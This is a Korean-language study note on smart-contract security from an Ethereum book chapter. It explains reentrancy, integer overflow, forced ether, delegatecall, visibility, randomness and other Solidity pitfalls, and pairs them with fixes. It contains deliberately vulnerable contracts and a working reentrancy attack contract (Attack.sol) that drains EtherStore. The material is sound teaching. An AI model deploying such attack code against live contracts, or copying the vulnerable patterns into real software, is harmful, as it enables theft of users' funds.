# Chapter 9. 보안(상)

# 1. 보안 모범사례

## 1-1. 🛠 방어적 프로그래밍

- **미니멀리즘/ 단순성**

    단순하고 간결해야 실수를 안한다

- **코드 재사용**

    DRY(Don't Repeat Yourself) 

    광범위하게 사용되는 코드는 새 코드보다 안전하다

- **코드 품질**

    우주공학 수준으로 실수가 용납되지 않는다, 코드 배포 ⇒ 문제 해결 방법이 없음

- **가독성/감사 용이성**

    코드가 명확하고 이해하기 쉬워야한다

- **테스트 범위**

    할 수 있는 모든 것을 테스트하라


# 2. 보안 위험 및 안티패턴

**가장 공통적인 보안 위험에 익숙해야한다.**


# 3. ⚠️재진입성

- 스마트 컨트랙트의 특징 중 하나는 다른 외부 컨트랙트의 코드를 호출하고 활용할 수 있는 능력
- 이런 작업을 악용, 콜백을 포함하여 대체 코드를 실행하도록 강제할 수 있음(폴백 함수를 통해)

[Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack...](https://bit.ly/2zaqSEY)

## 3-1. ☠️취약점

- 재진입성 공격은 컨트랙트가 알 수 없는 주소로 이더를 전송할 때 발생할 수 있다.
- '재진입(reentrancy)'은 외부의 악의적인 컨트랙트가 취약한 컨트랙트의 함수를 호출하고 코드 실행 경로가 그 안으로 '재진입한다'는 사실에서 비롯된 것이다.

Example 1. EtherStore.sol

```tsx
contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }
```

Example 2. Attack.sol

```tsx
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}
```

## 3-2. 🔒예방기법

- transfer 내장 함수를 이용, 전송에 충분하지 않은 적은 양의 가스만 보내도록 처리(재진입 막기)
- 이더가 전송되기 전에 상태 변수를 변경하는 로직을 다 앞으로 가져온다 ⇒ 알 수 없는 주소로 보내는 외부 호출 코드는 가장 마지막 작업이 되도록 하는게 바람직
- 뮤텍스 도입

Let them all get into it

```tsx
contract EtherStore {

    // initialize the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false;
    }
 }
```

## 3-3. 🗣️실제 사례: DAO

- DAO공격은 이더리움의 초기 개발에서 발생한 주요 해킹 중 하나로, 재진입은 그 공격에서 중요한 역할을 했으며 궁극적으로는 이더리움 클래식을 만든 하드 포크로 이어졌다.


# 4. ⚠️산술 오버플로/언더플로

이더리움 가상 머신은 정수들에 대해 고정된 크기의 데이터 타입을 지정한다. 사용자 입력을 점검하지 않고 계산을 수행하면 저장하는 데이터의 유형이 범위를 벗어나는 숫자가 될 수 있어 솔리디티 변수를 악용할 수 있다

## 4-1. ☠️취약점

- 변수의 데이터 타입 범위를 벗어나는 숫자(또는 데이터)를 고정 크기 변수에 저장해야 하는 연산이 수행되면 오버플로/언더플로가 발생한다.

오버플로우 예시

```jsx
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}
```

언더플로 예시

```jsx
pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
```

## 4-2. 🔒예방기법

**표준 수학 연산자인 더하기, 빼기, 곱셈을 대체하는 수학 라이브러리를 사용하거나 만드는 것**

```jsx
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // This holds in all cases
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint256 transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}
```

## 4-3. 🗣️실제 사례: PoWHC 및 일괄 전송 오버플로

참고로 866이더가 컨트랙트에서 유출....👼🏻


# 5. ⚠️예기치 않은 이더

일반적으로는 이더가 컨트랙트에 전달될 때 폴백 함수나 컨트랙트에 정의된 또 다른 함수를 실행해야 하는데, 어떤 코드를 실행하지 않고 컨트랙트 내에 이더가 존재할 수 있는 경우에는 예외가 존재

## 5-1. ☠️취약점

이더가 payable 함수를 사용하거나 컨트랙트에서 코드를 실행하지 않고 컨트랙트에 (강제적으로) 보내질 수 있는 두 가지 방법이 있다. 

- **자기파괴(self-destruct/suicide)**아무 공격자나 `self-destruct` 함수를 가진 컨트랙트를 만들고, 여기에 이더를 보낸 다음, `self-destruct`(target)을 호출해서 target 컨트랙트에 강제로 이더를 보낼 수 있다.
- **미리 보내진 이더**컨트랙트가 생성되기 전에 컨트랙트의 주소를 계산할 수 있고, 그렇기 때문에 미리 계산된 주소로 이더를 보낼 수 있다.

```jsx
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;

    mapping(address => uint) redeemableEther;
    // Users pay 0.5 ether. At specific milestones, credit their accounts.
    function play() external payable {
        require(msg.value == 0.5 ether); // each play is 0.5 ether
        uint currentBalance = this.balance + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        // if at a milestone, credit the player's account
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(this.balance == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }
```

## 5-2. 🔒예방기법

- 이러한 종류의 취약점은 일반적으로 this.balance의 공격으로 발생.여기서 `depositedEther`라는 새로운 변수를 만들어 입금된 이더를 추적하고 테스트하는 데 사용

책에 잘못나옴 depositedEther(x)  → depositedWei (o) 라는 변수를 만들어 추적

```jsx
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() external payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }
```


# 6. DELEGATECALL

`CALL`과 `DELEGATECALL` 연산코드는 이더리움 개발자가 코드를 모듈화할 수 있게 하는 데 유용한데, `DELEGATECALL` 을 사용하면 예기치 않은 코드가 실행될 수 있다.

보너스: call 과 degatecall 의 차이란?

- 중요 포인트❗ `DELEGATECALL`  경우 `msg.sender` 와 `msg.value`가 유지된다

[[ethereum] solidity - call, delegatecall](https://m.blog.naver.com/pjt3591oo/221405662828)

## 6-1. ☠️취약점

- 우리가 `DELEGATECALL` 이 상태를 보존한다고 말할 때 그것은 컨트랙트의 변수 이름이 아니라 그 이름이 가리키는 실제 스토리지 슬롯에 대해 말하고 있음을 알아야 한다.
- 간단한 실수로 공격자가 전체 컨트랙트와 해당 이더를 가로 챌 수 있다.

## 6-2. 🔒예방기법

- 솔리디티는 라이브러리 컨트랙트를 구현하기 위한 키워드를 제공
- 스테이트리스(stateless)로 만들면 설명하는 스토리지 컨텍스트의 복잡성을 완화
- 또한 비자기파괴적임을 보장

## 6-3. 🗣️ 실제 사례: 패리티 멀티시그 지갑(두 번째 해킹)

라이브러리 코드가 의도된 컨택스트 외부에서 실행될 경우 어떻게 악용될 수 있는지 보여주는 예

[Parity Multisig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838)

[An In-Depth Look at the Parity Multisig Bug](https://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/)


# 7. 디폴트 가시성

가시성은 사용자가 함수를 외부에서 호출할 수 있는지, 다른 파생 컨트랙트가 함수를 내부에서만 또는 외부에서만 호출할 수 있는지 여부를 결정한다.함수는 기본적으로 public이며 사용자가 외부에서 호출할 수 있다.

## 7-1. ☠️취약점

- 가시성 지정자의 잘못된 사용이 스마트 컨트랙트에서 치명적인 취약점을 초래한다.개발자가 실수로 private함수에 대한 가시성 지정자를 생략하면 문제가 발생한다.

```jsx
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}
```

## 7-2. 🔒예방기법

- 함수가 의도적으로 public이라고 할지라도 컨트랙트의 모든 함수에 대한 가시성을 항상 지정하는 것이 좋다.

## 7-3. 🗣️실제 사례: 패리티 멀티시그 지갑(첫 번째 해킹)

3100 이더가 패리티 멀티시그 해킹으로 도난 당했고 그지 같겠다


# 8. 엔트로피(무작위-불확실성?) 환상

이더리움 블록체인의 모든 트랜잭션은 결정론적 상태 전이 연산이다.모든 트랜잭션이 이더리움 생태계의 전체 상태를 불확실성 없이 계산 가능한 방식으로 변경한다는 것을 의미 이더리움에서 엔트로피 또는 무작위성의 근원이 없다는 근본적인 함축성을 지니고 있다

## 8-1. ☠️취약점

- 이더리움 플랫폼을 기반으로 구축된 최초의 컨트랙트 중 일부는 도박을 기반한다.
- 일반적인 함정은 미래의 블록 변수, 즉 해시, 타임스탬프, 블록 번호 또는 가스 한도 같은, 값이 아직 알려지지 않은 트랜잭션 블록에 대한 정보를 포함하는 변수를 사용하는 것이다.
- 그러나 블록은 이를 채굴하는 채굴자가 통제하고 있으며, 그렇기 때문에 궁극적인 무작위 값이 될 수 없다는 점에 문제가 있다.
- ex ) 블랙잭, 룰렛등을 구현한 컨트랙트가 해쉬값을 짝수로 했을때 검은색, 홀수는 빨간색
누군가는 배팅하고 채굴자 또는 채굴자 풀에서는 해당 블록을 풀어야하는데 임의로 블록을 게시하지 않을 수 있다

## 8-2. 🔒예방기법

- 엔트로피(무작위성)의 원천은 블록체인 외부에 있어야 한다. 블록 변수는 채굴자가 조작할 수 있으므로 엔트로피의 원천으로 사용하면 안된다.


# 9. 외부 컨트랙트 참고

이더리움 '월드 컴퓨터'는 결과적으로 많은 수의 컨트랙트가 대개 외부 메시지 호출을 통해 외부 컨트랙트를 참고한다. 이러한 외부 메시지 호출은 악의적인 행위자의 의도를 몇 가지 모호한 방법으로 숨길 수 있다.

## 9-1. ☠️취약점

솔리디티에서는 어떤 주소든지 컨트랙트로 캐스트할 수 있는데, 해당 주소에 있는 코드가 실제 컨트랙트를 표현하고 있는지 여부와는 상관없다. 이로 인해 특히 컨트랙트 작성자가 악성 코드를 숨기려고 할 때 문제가 발생할 수 있다.

즉, 어떤 감시자가 공개적으로 컨트랙트를 검증하고, 그 컨트랙트의 소유자로 하여금 악의적인 방법으로 컨트랙트를 배포하도록 할 수 있다. 그로 인해 공개적으로 감사된 컨트랙트가 취약점이나 악의적인 의도를 갖게 만들 수 있다.

## 9-2. 🔒예방기법

- new 키워드를 사용하여 컨트랙트를 작성하는 것
- 외부 컨트랙트 주소를 하드코딩하는 것

## 9-3.  🗣️실제사례 : 허니팟 재진입

`문제의 허니팟 컨트랙트`

```jsx
/**
 *Submitted for verification at Etherscan.io on 2018-02-09
*/

pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    
    uint public MinDeposit = 1 ether;
    
    Log TransferLog;
    
    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }
    
    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }
    
    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }
    
    function() public payable{}    
    
}

contract Log 
{
   
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
```

`Exploit 코드`

[uERfI4PW59](https://ethfiddle.com/uERfI4PW59)


# 10. 짧은 주소/파라미터 공격

솔리디티 컨트랙트 자체에서는 수행되지 않지만, 이 컨트랙트와 상호작용하는 제 3자의 애플리케이션에는 일어날 수 있다.

## 10-1. ☠️취약점

- 스마트 컨트랙트에 파라미터를 전달할 때 파라미터는 ABI 사양에 따라 인코딩된다.
- 예상되는 파라미터 길이보다 짧은, 인코딩된 파라미터를 보낼 수 있다.
- 이러한 시나리오에서 EVM은 인코딩된 파라미터 끝에 0을 추가하여 정해진 길이를 맞춘다.
- 이것은 제3자 애플리케이션이 입력의 유효성을 검사하지 않을 때 문제가 된다.

## 10-2. 🔒예방기법

외부 애플리케이션의 모든 입력 파라미터는 블록체인에 보내기 전에 유효성을 검사해야 한다.파라미터 순서가 중요한 역할은 한다는 점도 주목해야 한다.


# 11. 확인되지 않은 CALL 반환 값

call 및 send 함수는 호출 성공 또는 실패 여부를 나타내는 true 또는 false를 반환한다. 따라서 외부 호출이 실패할 경우 이러한 함수를 실행하는 트랜잭션이 되돌아가지 않으며, 오히려 함수는 단순히 false를 반환한다.

## 11-1. 💀취약점

call 및 send 함수는 호출 성공 또는 실패 여부를 나타내는 true 또는 false를 반환한다. 따라서 외부 호출이 실패할 경우 이러한 함수를 실행하는 트랜잭션이 되돌아가지 않으며, 오히려 함수는 단순히 false를 반환한다.

## 11-2. 🔒예방기법

- 가능하면 send 함수보다는 transfer함수를 사용하자.
- 출금 패턴(withdrawal pattern)을 사용한다 , 각 사용자는 이더를 컨트랙트로부터 빼내오는 반드시 격리된 함수를 호출해야 하고, 출금 함수가 실패하면 그 함수를 호출한 최종 사용자가 트랜잭션의 부담을 지게 한다.

## 11-3. 🗣️실제사례 : 이더팟과 이더의 왕

내용이 너무 길어 다 확인하는데 힘드니 원문 참고 부탁

**암튼 send는 실패하면 컨트랙트를 공격하는데 사용될 수 있음**